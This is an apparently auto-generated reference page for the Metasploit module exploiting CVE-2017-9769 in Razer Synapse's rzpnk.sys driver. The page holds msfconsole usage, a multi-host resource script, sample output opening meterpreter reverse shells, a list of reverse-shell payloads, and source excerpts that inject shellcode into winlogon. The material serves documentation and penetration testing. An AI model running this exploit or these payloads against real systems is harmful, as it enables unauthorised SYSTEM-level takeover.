Razer Synapse rzpnk.sys ZwOpenProcess - Metasploit

This page contains detailed information about how to use the exploit/windows/local/razer_zwopenprocess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

---

Name: Razer Synapse rzpnk.sys ZwOpenProcess
Module: exploit/windows/local/razer_zwopenprocess
Source code: modules/exploits/windows/local/razer_zwopenprocess.rb
Disclosure date: 2017-03-22
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-9769

A vulnerability exists in the latest version of Razer Synapse (v2.20.15.1104 as of the day of disclosure) which can be leveraged locally by a malicious application to elevate its privileges to those of NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver that passes a PID specified by the user to ZwOpenProcess. This can be issued by an application to open a handle to an arbitrary process with the necessary privileges to allocate, read and write memory in the specified process. This exploit leverages this vulnerability to open a handle to the winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by installing a hook to execute attacker controlled shellcode. This hook is then triggered on demand by calling user32!LockWorkStation(), resulting in the attacker's payload being executed with the privileges of the infected winlogon process. In order for the issued IOCTL to work, the RazerIngameEngine.exe process must not be running. This exploit will check if it is, and attempt to kill it as necessary. The vulnerable software can be found here: https://www.razerzone.com/synapse/. No Razer hardware needs to be connected in order to leverage this vulnerability. This exploit is not opsec-safe due to the user being logged out as part of the exploitation process.

Module Ranking and Traits

---

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

• repeatable-session: The module is expected to get a shell every time it runs.

Stability:

• crash-service-restarts: Module may crash the service, but the service restarts.

Side Effects:

• screen-effects: Module may show something on the screen (Example: a window pops up).

Basic Usage

---

Using razer_zwopenprocess against a single host

Normally, you can use exploit/windows/local/razer_zwopenprocess this way:

msf > use exploit/windows/local/razer_zwopenprocess
msf exploit(razer_zwopenprocess) > show targets
    ... a list of targets ...
msf exploit(razer_zwopenprocess) > set TARGET target-id
msf exploit(razer_zwopenprocess) > show options
    ... show and set options ...
msf exploit(razer_zwopenprocess) > exploit

Using razer_zwopenprocess against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your razer_zwopenprocess will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/local/razer_zwopenprocess")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

---

• SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage

---

Here is how the windows/local/razer_zwopenprocess exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/razer_zwopenprocess

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/razer_zwopenprocess) > show info

       Name: Razer Synapse rzpnk.sys ZwOpenProcess
     Module: exploit/windows/local/razer_zwopenprocess
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-22

Provided by:
  Spencer McIntyre

Module side effects:
 screen-effects

Module stability:
 crash-service-restarts

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  A vulnerability exists in the latest version of Razer Synapse 
  (v2.20.15.1104 as of the day of disclosure) which can be leveraged 
  locally by a malicious application to elevate its privileges to 
  those of NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific 
  IOCTL handler in the rzpnk.sys driver that passes a PID specified by 
  the user to ZwOpenProcess. This can be issued by an application to 
  open a handle to an arbitrary process with the necessary privileges 
  to allocate, read and write memory in the specified process. This 
  exploit leverages this vulnerability to open a handle to the 
  winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it 
  by installing a hook to execute attacker controlled shellcode. This 
  hook is then triggered on demand by calling 
  user32!LockWorkStation(), resulting in the attacker's payload being 
  executed with the privileges of the infected winlogon process. In 
  order for the issued IOCTL to work, the RazerIngameEngine.exe 
  process must not be running. This exploit will check if it is, and 
  attempt to kill it as necessary. The vulnerable software can be 
  found here: https://www.razerzone.com/synapse/. No Razer hardware 
  needs to be connected in order to leverage this vulnerability. This 
  exploit is not opsec-safe due to the user being logged out as part 
  of the exploitation process.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-9769
  https://warroom.securestate.com/cve-2017-9769/

Module Options

---

This is a complete list of options available in the windows/local/razer_zwopenprocess exploit:

msf6 exploit(windows/local/razer_zwopenprocess) > show options

Module options (exploit/windows/local/razer_zwopenprocess):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

Advanced Options

---

Here is a complete list of advanced options supported by the windows/local/razer_zwopenprocess exploit:

msf6 exploit(windows/local/razer_zwopenprocess) > show advanced

Module advanced options (exploit/windows/local/razer_zwopenprocess):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                20               no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

---

Here is a list of targets (platforms and systems) which the windows/local/razer_zwopenprocess module can exploit:

msf6 exploit(windows/local/razer_zwopenprocess) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x64

Compatible Payloads

---

This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/razer_zwopenprocess exploit:

msf6 exploit(windows/local/razer_zwopenprocess) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   37  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   38  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   39  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   40  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   41  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   42  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   43  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   44  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   45  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   46  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   47  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   48  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   49  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   50  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   51  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   52  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   53  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   54  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   55  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   56  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   57  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   58  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   59  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   60  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   61  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   62  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

---

Here is the full list of possible evasion options supported by the windows/local/razer_zwopenprocess exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/razer_zwopenprocess) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

---

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session is already elevated

---

Here is a relevant code snippet related to the "Session is already elevated" error message:

108:	    Exploit::CheckCode::Safe
109:	  end
110:	
111:	  def exploit
112:	    if is_system?
113:	      fail_with(Failure::None, 'Session is already elevated')
114:	    end
115:	
116:	    if check == Exploit::CheckCode::Safe
117:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
118:	    end

Exploit not available on this system.

---

Here is a relevant code snippet related to the "Exploit not available on this system." error message:

112:	    if is_system?
113:	      fail_with(Failure::None, 'Session is already elevated')
114:	    end
115:	
116:	    if check == Exploit::CheckCode::Safe
117:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
118:	    end
119:	
120:	    if session.platform != 'windows'
121:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
122:	    elsif session.arch != ARCH_X64

This exploit requires a native Windows meterpreter session

---

Here is a relevant code snippet related to the "This exploit requires a native Windows meterpreter session" error message:

116:	    if check == Exploit::CheckCode::Safe
117:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
118:	    end
119:	
120:	    if session.platform != 'windows'
121:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
122:	    elsif session.arch != ARCH_X64
123:	      fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
124:	    end
125:	
126:	    pid = session.sys.process['RazerIngameEngine.exe']

This exploit only supports x64 Windows targets

---

Here is a relevant code snippet related to the "This exploit only supports x64 Windows targets" error message:

118:	    end
119:	
120:	    if session.platform != 'windows'
121:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
122:	    elsif session.arch != ARCH_X64
123:	      fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
124:	    end
125:	
126:	    pid = session.sys.process['RazerIngameEngine.exe']
127:	    if pid
128:	      # if this process is running, the IOCTL won't work but the process runs

Failed to open the process handle

---

Here is a relevant code snippet related to the "Failed to open the process handle" error message:

133:	
134:	    pid = session.sys.process['winlogon.exe']
135:	    print_status("Found winlogon pid: #{pid}")
136:	
137:	    handle = get_handle(pid)
138:	    fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
139:	    vprint_status('Successfully opened a handle to the winlogon process')
140:	
141:	    winlogon = session.sys.process.new(pid, handle)
142:	    allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
143:	    shellcode_address = winlogon.memory.allocate(allocation_size)

Failed to get a handle to user32.dll

---

Here is a relevant code snippet related to the "Failed to get a handle to user32.dll" error message:

145:	    print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
146:	    winlogon.memory.write(shellcode_address, payload.encoded)
147:	    hook_stub_address = shellcode_address + payload.encoded.length
148:	
149:	    result = session.railgun.kernel32.LoadLibraryA('user32')
150:	    fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
151:	    user32_handle = result['return']
152:	
153:	    # resolve and backup the functions that we'll install trampolines in
154:	    user32_trampolines = {} # address => original chunk
155:	    user32_functions = ['LockWindowStation']

Failed to generate the hook stub

---

Here is a relevant code snippet related to the "Failed to generate the hook stub" error message:

162:	      }
163:	    end
164:	
165:	    # generate and install the hook asm
166:	    hook_stub = get_hook(shellcode_address, user32_trampolines)
167:	    fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
168:	    # if this happens, there was a programming error
169:	    fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
170:	
171:	    winlogon.memory.write(hook_stub_address, hook_stub)
172:	    vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")

The hook stub is too large, please update HOOK_STUB_MAX_LENGTH

---

Here is a relevant code snippet related to the "The hook stub is too large, please update HOOK_STUB_MAX_LENGTH" error message:

164:	
165:	    # generate and install the hook asm
166:	    hook_stub = get_hook(shellcode_address, user32_trampolines)
167:	    fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
168:	    # if this happens, there was a programming error
169:	    fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
170:	
171:	    winlogon.memory.write(hook_stub_address, hook_stub)
172:	    vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
173:	
174:	    # install the asm trampolines to jump to the hook

Failed to get function address

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Here is a relevant code snippet related to the "Failed to get function address" error message:

188:	    session.railgun.kernel32.CloseHandle(handle)
189:	  end
190:	
191:	  def get_address(dll_handle, function_name)
192:	    result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
193:	    fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
194:	    result['return']
195:	  end
196:	
197:	  # this is where the actual vulnerability is leveraged
198:	  def get_handle(pid)

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Related Pull Requests

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• #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #10873 Merged Pull Request: Add applicable notes to my exploit modules
• #8723 Merged Pull Request: Module for Razer Synapse (CVE-2017-9769)

References

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• CVE-2017-9769
• https://warroom.securestate.com/cve-2017-9769/

See Also

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Check also the following modules related to this module:

• post/windows/gather/credentials/razer_synapse

Authors

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Spencer McIntyre

Version

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This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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